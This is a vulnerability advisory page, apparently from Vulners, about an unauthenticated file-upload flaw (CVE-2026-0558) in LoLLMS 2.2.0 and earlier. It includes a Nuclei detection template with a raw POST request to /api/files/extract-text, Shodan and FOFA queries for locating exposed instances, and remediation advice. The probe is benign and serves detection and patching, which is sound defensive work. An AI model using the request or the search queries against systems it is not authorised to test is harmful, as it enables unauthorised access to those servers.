LolLMS <= 2.2.0 - Unauthenticated File Upload
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Unauthenticated File Upload in LollMS | 29 Dec 202517:53 | – | huntr | |
| CVE-2026-0558 | 29 Mar 202617:53 | – | attackerkb | |
| The vulnerability in the backend/routers/files.py script of the system for launching and managing large language models in LoLLMS (Lord of Large Language Multimodal Systems) allows a perpetrator to gain unauthorized access to protected information, upload arbitrary files, or cause service failures. | 12 May 202600:00 | – | bdu_fstec | |
| CVE-2026-0558 | 29 Mar 202618:33 | – | circl | |
| LoLLMs 授权问题漏洞 | 29 Mar 202600:00 | – | cnnvd | |
| CVE-2026-0558 | 29 Mar 202617:53 | – | cve | |
| CVE-2026-0558 Unauthenticated File Upload in parisneo/lollms | 29 Mar 202617:53 | – | cvelist | |
| EUVD-2026-17035 | 29 Mar 202618:30 | – | euvd | |
| CVE-2026-0558 | 29 Mar 202618:16 | – | nvd | |
| PYSEC-2026-2198 | 29 Mar 202618:16 | – | osv |
10
id: CVE-2026-0558
info:
name: LolLMS <= 2.2.0 - Unauthenticated File Upload
author: KoungQ
severity: critical
description: |
A vulnerability in parisneo/lollms up to and including version 2.2.0 allows unauthenticated users to upload and process files through the /api/files/extract-text endpoint. The endpoint lacks the Depends(get_current_active_user) dependency used by other file-related APIs.
impact: |
Unauthenticated remote attackers can invoke server-side file processing, which can lead to denial of service through resource exhaustion, information disclosure through processing responses or errors, and bypass of intended access controls.
remediation: |
Update to a patched version containing commit a6625dc83786ff21d109b0d545ca61b770607ef3 or later. Restrict unauthenticated access to /api/files/extract-text until the update is applied.
reference:
- https://github.com/parisneo/lollms/commit/a6625dc83786ff21d109b0d545ca61b770607ef3
- https://huntr.com/bounties/0a722001-89ce-4c91-b6a6-a55ee5ba2113
- https://nvd.nist.gov/vuln/detail/CVE-2026-0558
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-0558
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
vendor: parisneo
product: lollms
shodan-query: http.html:"lollms"
fofa-query: body="lollms"
tags: cve,cve2026,lollms,auth-bypass,file-upload,intrusive
http:
- raw:
- |
POST /api/files/extract-text HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----testFormBoundary{{randstr}}
------testFormBoundary{{randstr}}
Content-Disposition: form-data; name="file"; filename="{{randstr}}.txt"
Content-Type: text/plain
lollms-cve-2026-0558-{{randstr}}
------testFormBoundary{{randstr}}--
matchers:
- type: dsl
dsl:
- 'contains_all(body, "lollms-cve-2026-0558-{{randstr}}", "text_content":")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 May 2026 16:14Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
CVSS 37.5
EPSS0.0043
SSVC